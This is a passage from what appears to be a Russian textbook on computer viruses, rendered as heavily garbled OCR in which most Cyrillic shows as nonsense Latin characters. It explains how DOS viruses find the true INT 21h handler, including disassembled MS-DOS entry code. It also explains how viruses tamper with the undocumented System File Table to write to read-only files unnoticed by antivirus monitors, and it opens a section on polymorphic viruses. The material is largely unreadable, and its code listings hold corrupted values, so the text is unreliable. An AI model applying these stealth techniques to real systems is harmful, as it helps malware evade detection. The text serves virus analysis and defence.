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«MOHUTOP», IPETIOKII METOL GOPBOBI CO «CIIARCHHTOMY TIPH TIOMOITI[H
Pe3UIEHTHOI IIPOrpaMMbl-«OI0KIpoBIIKKa> [19]:

lepBbivi KOMNOHEHT [aHTUBMPYCHOro MoHnTopa — K. K. ] BCTpansaetcs
B saapo [AOC, a BTOpovi NpOCTO repexsaTtbiBaEeT Lierioyky 21-ro npepsi-
BaHwusi. Korga nporpamma BbinosHIET HcTpykumto INT 21h, ynpasne-
HUe nepegaeTcsi BTOpoMy KOMOHeHTY. OH MOXET cAenatb rnpoBep-
KM Ha 0nacHOCTb QYHKLMU, 3aTeM BbICTaBUTb NMEPEMEHHYIO «MPOX0L
uernoyku» v nepenars ynpassieHvie gasbiue. [py noay4eHun yrnpas-
JIeHUSI NepPBbIM KOMIOHEHTOM OH MPOBEPSET NepeMeHHYr «poxoaa
uenoy4ku», Ecsiv oHa BbicTaBsieHa, To 6bina uHCTpykumst INT 21h, Hago
CcOPOCUTbL NMEepPeMEHHYIO «POX0A LIernoYku» v nepeaatb yrnpasieHne
J0C. Ecnv nepemMeHHasi cOpoLLEHa, TO BbI30B MPULLIEST HAMPSIMYIO U
Haza0 NPUHUMAaTb MEepbI; CKOPEEe BCEro, 3To AENCTBUE BYPYCa.

Takske eMy IpUHATIEKUT UjIesT, KaK TIPOTPAMMHO PacTio3HaTh GakT Be-
nyleiica TpaccupoBku pepbiBanud [20]:

BbicTaBrieHHbIV pniar TpaccupoBKU MOXHO BbISIBUTb KOCBEHHO, 3a-
mMackupoBaB arnnapartHble rpepbiBaHusl, nomectmns B [SP-1] KOHT-
pOJIbHOE 3HayeHve u aaB MHCTpyKumio STI. Torga no M3mMeHeHuro
C/10Ba B CTEKE MOXHO CyAUTb, BblJI0 TPACCUPOBOYHOE NpepbiBaHNE
WIIN HET.

Ho 06a s11x MeTos1a 6eCCUIBHBI B TOM CJIyYae, €CJIU «CILTAUCHHTS YKe
COCTOSITICST ¥ BUPYC BCTPOWJICS B CTAHAAPTHBIN 0OpaboTunk. B atom ciry-
yae X, HaBepHOE, OY/IET UCIOJIb30BaTh CaM BUPYC, JUJISI TOTO YTOOBI 110-
MeIath paboTe «IIPOTUBHUKA>.

[Towck B maMaTH PE3UZEHTHOTO BUPYCA, IEPEXBATUBINETO YIIPABJICHNE
TaKUM HEOOBIUHBIM CTIOCOGOM, IOBOJILHO 3aTPYIHUTEIEH JAKe JIJIs COBPe-
MEHHBIX aHTUBUPYCHBIX TTakeToB. CHUTYAIHs CYIEeCTBEHHO OCTIOKHSIETCS
HaJIMYMeM MHOTOUMCJIeHHBIX Bepcuii u BapuanToB PC-DOS, MS-DOS,
DR-DOS, PTS-DOS, FreeDOS u T. 11., CTPYKTYpbI CTaHAAPTHBIX 00pa-
GOTYMKOB KOTOPBIX YACTO TTOXOKU B 00IIEM, HO CYIIECTBEHHO pasjinia-
I0TCSI B JIeTassiX. AHTUBUPYCY TPUXOAUTCS MOBTOPSITH <IIyTh» BHUPYCA,
TPacCHUpysl TeM WJIM WHBIM 00pasoM KOJbI CTAaHAApTHOrO 00paboTYHKa
U TIOCTOSIHHO TIPOBEPSisi OYePeNHYI0 KOMAHIY HA HAJIUYMe «HE3aKOHHOI
BPE3KU» B KOJIBI CTAHAPTHOTO 0OpaboTUmKa.

Ho Bupyc He 00s13aH BCTaBJISATH B TEJIO CTAHAAPTHOTO 06pabOTUMKA
MMEHHO «MHOPOJIHYI0» /17151 Hero KoMany «INT». He uckiioueno ucrosb-
30BaHMe COOCTBEHHBIX « M P» 0B 1JIH Jaske MoJIMEHa a/[PECOB «IITaTHBIX>
nepexoz1oB (Harpumep, it MS-DOS v7.X MOsKHO ObLIO OB TPOCTO «IOJI-
PeIaKTUPOBaTh» ajipec, pachoJarawomuuiics B ssueiike 0C9h:F82h).
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Kopoue roBOpst, Ha MOMEHT HAIIMCAHUS 9TUX CTPOK MPUXOAUTCST KOH-
CTATHPOBATh, YTO HU BUPYCOIMCATEM, HU BUPYCOJIOTH HE OJIEPKAIN
OKOHYaTeJbHOU 100ebl B 6ophbe 3a obsasaHue «MCTUHHBIMY aJPecOM
obpaborunka npepsiBanus 21h. «Cpaxkenus» satuxau camu co0oii, 0
Mepe «BbiMupanusy MS-DOS.

CripaBeIlIMBOCTH PAJIU CJAEYET OTMETUTD, YTO TPACCUPOBKOII TIPepbI-
BaHUIl U CIVIAHCUHTOM 3aHUMAJIMCh U 3aHUMAIOTCST He TOJIBKO BUPYCHI U
AHTUBUPYCHI, HO U HEKOTOPBIE [PABEPBI, CHCTEMBI 3AIU Tl OT HECAHKI[H-
OHMPOBAHHOTO KOIUPOBAHUS U ApyTHe Ge3yCHOBHO TI0JE3HbIE TIPOTPaM-
Mbl. A mocite 2010 1. mosgBUINCH OYTKUTHI, KCIOJIb3YIONIIE IOA00HYIO TEX-
HUKY JIJIsT KOHTPOJISI 32 BBITIOJTHEHIEM 3arPY3KH OIIEPAIHOHHOM CUCTEMBI.

3.7.2.3. IIpouue memooot

B BUpycax uspeaKa UCHOJIb3YIOTCS U APYTHE METO/bI TIOMCKA «UCTUH-
HOTO» 3HaUYeHUsT ajipeca oOpaborunka npepbiBast 21h, moguac oueHb He-
ob6brunbie. Bot, Hanpumep, onucanue (ot V. Jlanniosa) BUPYCOB ceMeil-
crBa MTZ.PinkPanther:

OyeHb OCTPOYMHO OMpPenessiioT OpUrMHasIbHbIV aapec obpaboTymka
INT 21h, nepexBatus INT 6 n «3abus» sapo DOS 6avitamu OFFh...

Wnest aToro metosia Tpebyet mosiciernii. /lesio B TOM, 4TO TIpepbiBa-
HUE ¢ HOMEPOM 6 aBTOMATUYECKH BBI3BIBACTCS TIPU TOTIBITKE TIPOIeccopa
BBITIOJIHUTD HEOMYCTUMYIO KOMAH/LY, TO €CTh KOMaH/Iy ¢ KaKUM-HUOY/Ib
«crpanubiM» komoMm tura OFFFFh. IIpeasaputenbHo mepexBaTUB 5TO
npepbiBaHue, BUPYC obpamaercss K Kakomy-HuOyab cepsucy MS-DOS
U JKJIET, TIOKA MIPOIECC MO0YEPEeTHOTO BBITIOTHEHUST KOMaH/ He TT0najieT
Ha «3aMUHUPOBAHHBII» YYACTOK U YIIPABJIEHUE HE MOJYIUT 00pabOTINK
npepbiBanus 6. /lanee Bupyc npocro ussiekaet u3 creka ajgpec (CS u IP)
ATOW TOUKU MAMSITH, PACTIOJIOKEHHO T/Ie-TO B «TTyOMHAX» OTepaI[ioH-
HOU CUCTEMBI.

Bosmoskna Mmoamndukaims aToi nieu, 3akI04aioniascs B CIeLyoneM:
obJiacTb cucteMHoil tamsaTH 3abusaercs He kogoM 0FFh, a kogom 0CCh
(370 oHOGalTOBLII BapuanT kKoMar/bl «INT 3»). [TepexBaTbiBaTh B 9TOM
cJIyvae Hy>KHO UMEHHO 3-¢ IpepbIBaHue, a Jajbliie J1eHCTBOBATh aHAJIO-
TUYHO.

WHTepecHble METO/Ibl MOUCKAa OPUTHHAILHOTO ajpeca obpaboTyrka
npepbiBanus 21h poauincs B pesyasrare nposoguMoro B 1994 r. na crpa-
HUIAX JKypHaja « MOHUTOP» KOHKypca KOPOTKOro koja. OHM OCHOBaHbI
Ha [IOCTOSHCTBE CTPYKTYPHOI OpraHi3aIny BAPUAHTOB HTOTO 06paboTIm-
Ka B pa3ubIx Bepcugx MS-DOS.
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[TepBbiii mar npu peaiusanuu 9TUX METOIOB 3aKJII0YAETCS B OIpeie-
JIEHUU cerMeHTa 00J1acTi, B KOTOpoii pacnoJjaraerca sapo MS-DOS. Ero
MOJKHO OINPEAETUTh MPH MOMOIIU <«CTapoil 3HakoMoi» (dyHkiumuu 52h.
Omna maet 10cTyn K G0JIBIIOMY CITUCKY aJpecoB 0GBEKTOB, MOYTH BCE W3
KOTOPBIX pacrojaraiorcd BuyTpu siipa MS-DOS. [Ipyroit noaxoy 3a-
KJIIOYAETCsT B TOM, UTO I7le-TO BHYTpU oOpaboTunka mpepbiBanus 21h pac-
roJiaratoTcest Bbsosbl pepbiBarus 2Ah. Tlo ymomuanuio 06paboTka aTo-
TO NPEePBIBAHUST HE BBITIOTHIET HUKAKIX TIOJIE3HBIX EHCTBUI, TOITOMY
MOJKHO TIEPEXBATUTh €r0 U, KOT/[a OHO Gy/IeT BbI3BAHO, U3BJIE€UDb U3 CTEKA
HEOOXOIMMOE 3HAUEHIE CETMEHTA.

JasmbHelmmii monck Havyaga obpaborunka npepbBanust 21h BHyTpH
ATOTO CETMEHTa OCHOBAaH Ha CJEMYIOIMX 0OCTosITeNbcTBax. Bee Bep-
cuu MS-DOS (Bkuiouasi aske camble mocJeHue Bepcuu 7.X) UMeIOT
«CarysKeOHBII BXO/I» B MpoIleaypbl 06pabotku mpepbiBanust 21h. Ou co-
XPaHUJICS C «IOMCTOPUYECKUX»> BpeMeH Oyarogapst Tumy Ilatrepcomny,
MPapoUTENIO CPpa3y ABYX orepannoHHeix cucreM g IBM PC (CP/M
n MS-DOS), u obecriedrBaeT HEKOTOPYIO COBMECTHMOCTD U IIPEEMCTBEH-
HOCTb 9TUX [TPOTPAMMHBIX TIPOAYKTOB. YIOMSIHYTBII «CITy;KeOGHBIN BXOI»
[peACcTaBsieT cOO0H HEKUil JOTOJHUTEIbHBIN <«II€PEXOAHUK> — (par-
MeHT saapa MS-DOS, «ordunsrpoBbiBatoniuiiy cepBucHbie HYHKIUUA C
KoJaMu, 6osibImuMu yeM 24h, v Jiuiib T0ToM nepealoniuii yipasieHue Ha
OCHOBHOI1 00pabOTYNK. AZIPEC ITOr0 «CJy:KeOHOrO BXOa» MOKHO HAlTH
B IO3UIMK BekTOpa pepbiBanus 30h (BepHee, TaM pacosiaraeTcst mesi-
KOM KOMaH/Ia Mepexoia Ha aTOT «CJIYKEOHbBII BXO/I» ):

0000:00C0 EAE40FC900 jmp 00C9: 0FE4 ; "CnyxebHbln BXOA"
Kpowme Toro, Baytpu PSP jt060it 3arpyKeHHON B aMsITh TPOTPAMMbI

10 CMEIEHUIO +5 HAXOAUTCS AaIbHUIT BBI30OB 9TOTO K€ «aJbTePHATUBHO-
ro» o6paboTyrKa:

DS: 00 CD20 int 20h
DS:02 7727?9777 dd 29792979
DS:05 9AEEFE1DFO call FO1D: FEEE ; <- panbHuil Bb3oB CP/M

ITpomMeskyTOUHAST KOMaH/Ia [IePexo/Ia Ha «aJIbTePHATUBHBIN> 00paboT-
YUK pacriojiaraeTcs He HeITOCPEICTBEHHO B TOUKe, Ky/la MepeiaeT yIpaBs-
senne komauaa «CALLy, a uyTh-uyTh fasbiile, B HaUaIe CJIEAYIONETO Ma-
parpaca maMsITH:

FO1D: FEEE 77?277 dw 29907 ;. "Mycop”
FO1D: FEFO EAE40FC900 jmp 00C9h: OFE4h ; [Bepb B "cnyxebHblil xon”
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CaM e 9TOT «CJIyKeOHbIiT» XOJ IPEACTaBIsIeT coO0 HECKOIBKO KO-
MaH]1, IepepacipeiesiaimX cojepKuMoe peructpoB a-jig MS-DOS (neno
B ToM, uTo B CP/M kox pyukimu ykassiBasics ne B8 AH, nHo 8 CL) u niepe-
JIAIOIIMX YIIPaBJIeHKe Ha TY «BETBb» CTaHAAPTHOIO 06paboTYMKa IIpephiBa-
nus 21h, koropas Benaer «crapbiMu» GyHKIAMY ¢ Kogamu ot 0 1o 24h:

00C9: 0F96 dw 41C4
00C9: 0F98 dw FF39

. 970 "mepexofHuK” Ha anbTepHaTuBHLIN 06paboTYMK

00C9: OFE4 90 nop

00C9: OFE5 90 nop

00C9: 0FE6 E89C00 call Check_2A

00C9: 0FE9 2EFF2E960F jmp cs:dword ptr [0F96]

. 301ech HauMHaeTca Kof “anbTepHaTuBHOro" obpaboTymka

FF39:41C4 1E push ds

FF39:41E0 80F924 cmp cl,24h ; Kop dyHKummu ponycTum?
FF39:41E3 77DC ja Toolarge ; HeT - Bo3BpaT

FF39:41E5 8AE1 mov ah,cl ; NepemecTnThb koA 13 CL B AH
FF39:41E7 EBO6 jmp M1 ; Ha o6paboTky "paHHMX" dyHKLNIA
; 30echb HauyuMHaeTca cTaHaapTHbi 06paboTyuk npepuiBaHus 21h

FF39:41E9 FA cli

DakTHYeCKr MbI TPUIILIA TY/A K€ — B «CTAaHAAPTHBIN» 00pabOTUYNK
npepbiBatus 21h. TlomyTHO B Tpoliecce aHaM3a BBISICHUIOCH, UTO <ajib-
TepHATUBHbIIT» 06paboTunk Beerga (st Jo6bix Bepenit MS-DOS ato
MMEHHO Tak!) pacrojiaraetcsl HEMmOCPEACTBEHHO TIEPEl «CTAHAaPTHBIMY
006paboTYMKOM U 00s3aTEIbHO (U HTO TOXKE BEPHO!) CONEPAKUT KOMAH bl
«MOV AH,CL» u «<CMP CL,24h». 3nas cerment sigpa MS-DOS, MmoxkHO
BOCIIOJTb30BAThCST KOJAMM 9TUX KOMaH/[ B KQUeCTBe CBOCOOPA3HOI «CHT-
HATYPbI» JJIsI TIOMCKA CHavYasia OJIMKANIIMX OKPECTHOCTEH, a TOTOM YiKe
1 caMOU TOUKU BXO/Ia B «OPUTHHAJIBHBII» 00paboTunk npepbiBatus 21h
oreparmonHoii cucreMbl MS-DOS.

Cuaenyer ormeruth, uto B DR-DOS 1 PTS-DOS crpykrypbl 06pabdor-
YMKOB HECKOJIBKO JIPYTHE, U OMUCAHHBIE METO/IBI HE BCera paboTaroT.

3.7.3. Ucnonb3oBaHue SFT

Elie o1t MeTOJI, TIPUMEHSIEMBIN BUPYCOICcaTesIMU B paMKax stealth-
TEXHOJIOTMH, OCHOBAH Ha KOPPEKTUPOBKE CUCTEMHON Tabuuilbl (aitnon
(SFT - System File Table) [31]. OTkpbiBas aiisi, onepaioHHas cucre-
Ma BBINOJIHAET GOJIBIIOE KOJIUYECTBO PA3IUYHBIX JEHCTBUM, IPUMEPHO
TaKuX:
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«HOpMAJIH3yeT» UM (haiiia — IPUBOJUT €TO K OIIPEIeIEHHOMY BH/LY;
HAYMHAST ¢ KOPHEBOTO KATAJIOTa, CKAHUPYET JPEBOBU/HYIO CHCTEMY
KaTaJIoroB, 4T0ObI 06PAThCs 10 MPE/TIONAraeMOr0 MECTOIOJIOKE-
Hus daita;

UIeT 3anuch o Gaiijie B HAlJICHHOM KaTaJiore, OIpe/IesisieT JIHHY
baitna, mpaBa mocTymna Kk Hemy, azpec iepBoro kiactepa B FAT uT. 11
BbIesster obsacTu BHyTpenteil mamsatu MS-DOS st daiinosbix
oneparuii;

obpasyer SFT, sanocut Tyaa cobpanmyio nHGOpMALUIO 00 OTKPHI-
BaeMoM daiie;

nobasisier HoBy1o SFT B crmcok mogo0HbIX TabJIMIL, ONUCHIBAIO-
IIUX paHee OTKPbIThIE (halliibl;

BO3BPAIIAeT B MOJIb30BATEIBCKYIO MTPOTPAMMY YHUKAJIBHOE UHCIIO
(file handle), kakum-To o6pasom casannoe ¢ nomepom SFT B crnc-
Ke, U T. ]I

Takum o6paszom, SFT — 510 yHUKaJIbHBII OIIKCATEb, CBOEIO POJia «I1ac-
[OPT», KOTOPBIM OTIEPAI[MOHHAST CUCTeMA CHAGKAeT KaXK/Iblil OTKpPbIBae-
MbIil (aiir. OHa XpaHuT B 9TOM pailoHe maMAaTH OOJIBIIOE KOJUYECTBO
«paboueit» nHhopMAaIUU, HeOOXOAUMON /I BBITOJHEHUS HU3KOYPOBHE-
BBIX OTI€pAIlNil YTEHUS U 3alIMCH JIAHHBIX, /LI IepeMellieHns yKa3aTesiei
BHYTpU (haiiia u npovero:

; --- 3aronosok SFT

Next DD ? ;400 appec cnenywower SFT 8 cnucke (OFFFFh-nocnenHss)
N _Files DW ? . +04 xonudectsBo DFCB B paHHoM SFT

--- DFCB - DOS File Control Block, "nacnopT” KOHKpeTHOro daina
N_Handles DW ? ;+06 konwnyecTBO handle’ 0B, CBS3aHHbIX C (ainom
Open_Mode DW ? ;+08 pexum OTKpHTUS Oalina
F_Attr DB ? ;+0A aTpubyTh ¢aina
D_Status DW ? ;+0B OWTH OMNMcaHMs COCTOAHMS YCTPOMCTBa
P_Driver DD ? ;+0D ykasaTenb Ha ApanBep yCTPOWCTBa
Cluster DW ? ;+11h cTapToBH knacTep ¢arna
F_Time DW ? ;+13h Bpems nocnegHero gocTyna K oQanny
F_Date DW ? ;+15h paTa nocnegHero focTtyna K dainy
F_Size DD ? ;+17h pasmep o¢anna
F_Pos DD ? ;+1Bh Tekywas noauuus 4TeHus/3anncu BHyTpU daina
Cur_C1 DW ? ;+1Fh Homep Tekyluero knactepa BHyTpu daiina
Dir_Sect DD ? ;+21h cekTop KkaTanora, copepxauwuit onucaTenb daina
Dir_Recs DB ? ;+25h Konu4yecTBO onucaTenein B CeKTOpe kaTanora
F_name DB 11 dup(?); +26h uma ¢alina B "HopmanusosaHHOM™ QopmaTe
Res0 DD ? ,+31h ncnonb3yeTca apaieepom SHARE. EXE
N_VM DW ? ;+35h Homep BupTyanbHoi MawmHe (noa Windows)
Prog_PSP DwW ? ;+37h cermeHT PSP nporpammbi-"x03sikn" ¢aina
Res1 DwW ? ;+39h ucnonbayetcs apaisepom SHARE. EXE
Res?2 DW ? ;+3Bh 7?7
P_IFS DD ? ;+3Dh ykasaTens Ha IFS-ppaiisep (noa Windows)
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IMosyunts goctyi K SET MOKHO HECKOJBKUMHU CIIOCOOAMU.

Bo-nepBbix, crapas sHakomas GyHkuus 52h npepoisanus 21h Bosspa-
maet B ES:;[BX+4] anpec nepsoit SFT B crincke. Vctiomnb3ys mose «Nexts,
MOJKHO JIBUTAThCS 110 cniucky SFT 1 nckaTh HYsKHYIO TabJIUILy, HAIIPUMED
110 UMeHU OTKPBITOTO (haitya. «HopmanusoBanublii» popMat numenu gaii-
Jia — 910 (hopMaT, UCIIOJb3YyEMBIH, HATTPUMED, (PaNJOBBIMU (DYHKITUSIMHU,
paboraroummu yepe3 FCB (0Fh — orkpeirs daii, 11h — uckarh nepsbiii
(aiin u pouee), a UMeHHO: 8 CUMBOJIOB HAa UMsI, 3 CUMBOJIA HA paciliupe-
HUeE, a MYCTbIe MO3UIIUH JAOTIONHSIIOTCS TPOOETAMU.

Bo-BTOpBIX, 3HAas IECKPUIITOP OTKPBITOTO (haiiia, MOKHO BOCIOJIB30-
BATHCS CPEACTBAMU OUYEHB TIOJIE3HOT0, HO KpaiiHe ¢Jiabo JTOKYMEHTUPO-
BaHHOTO TipepbiBanust 2Fh. D1o npepbiBaHiie 1aeT JOCTYIT K BHYTPEHHIM
nporeaypam sigpa MS-DOS. Hanpumep, aTuMu poleypamMu peagusy-
I0TCST OT/IEJIbHBIE <IIATH» U HJIEMEHTAPHBIE JIEUCTBYSI, HEOOXOUMbIE JIJIST
BBITIOJTHEHUS CJIOKHBIX oneparinit MS-DOS Tuna paccmorpentoii Boiiie
onepauun oTkpoiTus (aitaa. Jocryn k SFT obecreunBaior cieayomnme
byuaximm:

O dyukuua ¢ kogom AX=2120h tpebyer na Bxozme B peructpe BX
3HAUYeHWe JIeCKPUNITOpa OTKpbITOro haiiyia u Bo3spaiaet B ES:DI
nomep cootsetcTByiolieir SFT (tounee, DFCB);

O  oyuxius ¢ kogom AX=2116h tpebyer na Bxoze B perucrpe BL Ho-
Mmep cootBetcTByiolteir DFCB u Bozspamaer B ES:DI anpec aToii
DFCB.

[TocseoBaTesbHO IPUMEHUB 3TH (PYHKITNH, MOKHO MTOJIYYUTD JAOCTYI

K HHTepecylolei Tabauie.

K coxanennio, MS-DOS Hukak He [POBEPSAET LEJOCTHOCTh TalJIMII
SFT B npottecce paboThl. ITUM MOJIB3YIOTCA HEKOTOPbIE BUPYCHI, HATIPS-
MYIO U3MEHSIONMe 3HauYeHus pasandubix nodieit Buytpu SFT. Haiie Bce-
ro usMeHenuto nojasepraiorces mous «Open_Mode» (peKUMbL OTKPBITHS
daiina) u «F_Attr> (arpubyTsl daiina): cHadasa BUPYC OTKPBIBAET 3apa-
sKaeMblil (hailn KakuM-HIOyAb «0e300UAHBIMY CII0COO0M, HAIIPUMED B Pe-
JKUME «TOJIBKO JIJIS UTeHusT»; 3aTeM Bupyc moauduinpyet SFT, paspemnas
cam Jiuist cebst 3amuch B (hails, 3apaskaeT ero u, HAKOHEIl, BOCCTAHABJINBAET
npesxkee sHavenue noJjeit SFT. PesugeHTHbIi aHTUBUPYCHBIN GJIOKUPOB-
IIUK, OTCJIEKUBAIOIIMHI TOJIBKO OTEHIIMAIBHO OMACHBIE orepaiuu (Ipe-
JKJIe BCETO OTKPBITHE IIPOTPAMMHBIX (haiijIOB Ha 3aIICh ), HUYETO He 3aMe-
TUT ¥ HUKaK He OTpearrpyer Ha JAeidcTBus Bupyca. Takoii GJIOKUPOBIIUK
JIOJIKEH CaMOCTOsITeTbHO «3anmuinaThy SFT: nanpumep, mocsie 3asepiie-
HUS Onepaluy OTKPbITHS (aiiia 3aioMUHATh KOHTPOJIBHYIO CYMMY T10-
TeHIMAJIbHO «BUpycoomacHbix» noJjeir SFT, a mepes y060ii oneparueit
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3aIMCH B HETO — CPABHUBATH BHOBDb PACCUNTAHHYIO KOHTPOJIBHYIO CYMMY
C COXPaHEHHOM.

Crpyxkrypa tabmui SFT, Tak e Kak 1 MHOKECTBA JIPYTUX BHYTPEHHUX
cTpykryp 1 bynkuuii, pupmoit Microsoft ne goxymentuposana. QObIYHO
3TO 03HAYAET TIPOCTO TO, YTO, 0 MHEHHIO Pa3pabOTYNKOB OTEPAIIOHHON
CHUCTEMBI, TIPUKJIAJHOMY MPOIPAMMUCTY COBEPIIEHHO He 00s3aTebHO
3HATD O MOJPOGHOCTAX €€ BHYTPEHHETrO yCTPoiicTBa. PaHo Wi no3Ho atn
MOAPOOGHOCTH CTAHOBATCSA U3BECTHBIMU OJIAroIapst IeATeIbHOCTH JII060-
3HATEJBbHBIX XaKePOB U € 3TOTO MOMEHTA OKa3bIBAIOTCS MOCTYITHBIMHU JIJIS1
MCIIOJIB30BAHUST JIIOOBIME JKeJaomumu. Ho WHOT/a 1M0JI 0TKa30M JIOKY-
MEHTHPOBATH Ty UJINM UHYIO 0COGEHHOCTH CHUCTEMbI Pa3pabOTUUKN UMEIOT
B BU/Iy HEMOCTOSIHCTBO 9TOU OCOOEHHOCTH, BO3MOKHOCTD €€ U3MEHEHSI
B PA3JIMYHBIX BEPCHUSAX MTPOAYKTA.

Tak ciyunsnoch u ¢ SFT. Crpykrypa SFT notuxonbky «Ijiblias B pas-
JandHbix Bepeustx MS-DOS: cuavasna aymmna DFCB cocrasisiia 40 6aiiTos,
IIOTOM OHa Havasa «pacTu» — 53 Oaiita B Bepcuu 3.0; 59 6aiiToB, HaunHas
¢ Bepeun 4.01 u T. 1. J{0 HOPBI 10 BPEMEHH, XOTSI Obl IOCIEA0BATENHOCTD
pACIIOIOKEHUST U Pa3Mepbl TI0JIeil 0CTaBaINCh IPEKHUMHU, HO B BEPCUN
7.X, nocrasisemoii BMecte ¢ Windows, yke u B 9T0i1 00J1aCTH IPOU3OLLI-
JIM KapAnHa/IbHble u3MeHenus. [loaToMy cTapbie BUPYChI, HCIIOJIB3YIOIINE
JUIST MAaCKUPOBKU TIPsiMOit locTytt K SFT, B coBpeMeHHbBIX yCIOBUSX TI0-
Tepsuin PaboTOCIOCOOHOCTb.

3.8. 3awndpoBaHHbIe 1 NOAMMOP@HbLIe
BUPYCbI

A no cayxam onu 6000ue Gopmul e umerom, kak
600a, ckadjicem, ui nap...

A.n B. Crpyraikue. «<7Kyk B MypaBeitH1Ke>

TepmuH «mOTMMOPGU3M» COCTOUT U3 JIBYX IPEUECKUX KOPHEN: polys —
MHOTOYHCTEHHBIN 1 morphe — dhopma. JIOCTOBHO TEPEBECTH €TO MOKHO
KaK «MHOTO(OPMEHHOCTD», «<MHOTOOOPAZHOCTD>.

TepMUH JIABHO <IIPOITUCAJICS» B CAMbBIX PAa3HBIX OOJACTSIX HAYKH U
TEXHUKHM. B XUMUHU, HATIPUMED, OH 03HAYAET CIOCOOHOCTh XUMUIECKUX
QJIEMEHTOB IIPU OJTHUX W TEX K€ YCJOBUAX CYHIECTBOBATH B Pa3HBIX CO-
CTOSHUSIX: BJIEMEHT <«YTJIEPOJ» C AaTOMHBIM HOMEPOM 6 — 9TO U TBEP/bIi
IPO3PAYHBII KPUCTAJLT AJIMa3a, 1 OJIECTAIINN YelnTy iuaThiil OPOIIOK Ipa-
(dbuTa, 1 MATOBO-YEPHBIiT MOPOIIOK KapOoHa. A B OHOJIOTHM TEPMUH «I10-
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MuMOpGU3M» IIPUMEHNM K OIMCAHMIO Pa3HOOOPasus KU3HEHHBIX (hOpM
OZIHOTO M TOTO 7K€ BUZA CYIIECTB: OOBIYHBIE MEIOHOCHbIE [TY€JIbl, HAIlPU-
Mep, PA3IEJISTIOTCST Ha PSIJI CUJIBHO OTJINYAIONINXCST TT0 CTPOEHHIO OPTaHU3-
Ma 1 00pa3sy JKU3HU <KacT» — Ha MATOK, TPYTHEN 1 pabouux mueL.

B KoMIIbI0TEpHO# BUPYCOJIOTUN TEPMUH <IOJUMOPHU3M> TTPUMEHSI-
€TCs K ONMKMCAHUI0 CAMOMOU(MDUITUPYIOIIUXCST IIPOTPAMM, COXPAHSIIOIINX
CII0COOHOCTD PaboTaTh M0 OIPEAETCHHOMY aJTOPUTMY, HO TIPH 9TOM HE
cojepKammx B cebe yIaCTKOB MPOTPAMMHOTO KO/, KOTOPBIE MOKHO
ObLIO OBl UCIOJIB30BATh B KauecTBe MOCTOSHHO IPUCYTCTBYIOIIUX CUT-
HaTYP.

Koneuno xe, 1711 0JIHOrO-e/IMHCTBEHHOTO 9K3EMILISIPA TIOJUMOPHOHO-
TO BUPYCa CPAaBHUTEIHHO HECTOKHO MPOAHATU3UPOBATH €0 AJTOPUTM,
OIIPE/IENTUTh XaPAKTEPUCTUKH, U3BJIeUb HEOOXOAMMBIE JJIsI JIeUeHUs JIaH-
Hble (HAIIPUMED, «CIPSITAHHBIE» TE-TO BHYTPU BUPYCA OPUTUHATbHDIE
GaiiTel 13 Havyaua 3apakeHHo COM-1porpaMmbl) U yAQJIUTh BUPYC U3
MIPOTPaMMBbI «BPYUYHYIO». Ho /15T IpYTHX 9K3eMILISIPOB «3apas3bl» (BTOPO-
TO 9K3EMILISIPA, TPETHETO... ABAANATOTO... CTO TPUAIATH BOCHBMOTO...) 3Ty
JKe OTIepaluio MPUAETCS KaxkK/Iblil pas eJ1aTh 3aHOBO!

Pabora aHTHBHpPYCa, CIIOCOOHOTO aBTOMATHYECKH OOHApPYKUBATh U
00€3BPEKUBATE «3apasy» TAKOTO PO/, IOJLKHA OBITh OCHOBAHA Ha MPHH-
IIUTIAX, OTJIUYHBIX OT TPUBUATHHOTO JIETEKTUPOBAHIS BUPYCA MO TIPOCTOM
CTaTUYHOU CUTHATYPeE.

3.8.1. 3awmndpoBaHHbie U nonuMopdHbIE BUPYChI
ana MS-DOS

Wcropust cozpatust moJauMOopGHBIX BUPYCOB 1 GOPHOBI ¢ HUMU OYeHb Ha-
MOMUHAET UCTOPHIO TTOCJIE[0BATENBHON 9BOIIOIUH B XOJI€ €CTECTBEHHOTO
oT6opa KaKOU-TO Pa3HOBUIHOCTH KUBBIX OPraHU3MOB.

Camble paHHME DTAIIbI OTOH UCTOPUU XaPaKTEePU3YIOTCs IIEPBLIMU POO-
KUMHU TIONBITKAME BUPYCOTHCATEIEH KaKUM-TO 00Pa3oM 3aTPyAHUTD pa-
60Ty BUPYCOJIOTA, ITPEKIE BCETO «CIPSTATh» OT HETO MOJAPOOHOCTH PeaJi-
3aruu BUPYCHOTo asnroputma. Takike HeMaTOBOKHBIM (DAKTOPOM SIBUTIOCH
JKeJlaHue CKPBITh HAJINYKE BUPYCA OT MOJIb30BATEJIsT, CKIIOHHOTO ITPOCMAT-
pPHUBATb CBOM IIPOrPAMMBI «HA MIPOCBeT». MbI paHee yxKe OTMeYaJIu, 4To,
HAMpUMep, OYE€Hb XapPaKTEPHBIM TPU3HAKOM search-BUPYCOB siBJisieTCst
HaJInyue B HUX TEKCTOBBIX CTPOK Buaa «*.COM>y, a u Bcsiueckue «Ko-
HUPaiThl» U COOOIIEHNS, BBIBOAMMbIE BUPYCOM Ha 9KPaH, TaKKe 0ObIYHO
XOPOIIIO BU/IHBI BHYTPH 3apaskeHHOTO haiina. [lepsas mbicab — 3ammdpo-
BaTh TEJIO BUPYycCa.
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[lenaercs aTo tak. Bupyc nepes BHeJipeHUEM CBOETO KO/IA B «KePT-
BY» 32T POBBIBAET €T0, TOMeIlas T/le-TO B HauaJle BUPyCa KOPOTEHbKII
¢parmenT pacmmdposkn. Korza BUpyc crapTyeT u3 3apakeHHOH Mpo-
rpaMMbl, TO paboTa BUPYCa HAUMHAETCS C BBITOJHEHUS 9TOTO (DparMeHTa
(pacumdposumka). [Tocste 3aBepiuenns ero paboThl OCHOBHOI KOZ BUPY-
€a rOTOB /I UCTIOJTHEHNS.

OO6bIuHO parMeHT pacinudpPOBKY TPEACTABIsIeT COOON UK, BHYT-
PH KOTOPOTO BBITIOJHSIETCST MOAU(DUKAIIS BUPYCHBIX OAHTOB MO KaKo-
My-m60 npuHnuIy. Pagymeercs, mpuHuun paciundpoBKU J0/LKEH ObITh
«3€PKAJbHBIM OTpPa’K€HUEM» TIPUHITUIIA, paHee WMCIOJb30BAHHOTO IS
sammdpoBky Koga Bupyca. OOBIUHO /IS UCIIOJIB30BAHUS B 3alTi(POB-
MUKaX-pacin@poBIIMKaX UCIIOIB3YIOT CJAEMYIONINE «3ePKATbHbBIEY MTaPh
KoMaH/ 1 uX KombuHanuu (cm. tabir. 3.2).

Tabnuya 3.2. Mapbi kKOMaHA,
BbIMOJIHSIIOLMX «3€PKasibHble» ornepaynmn

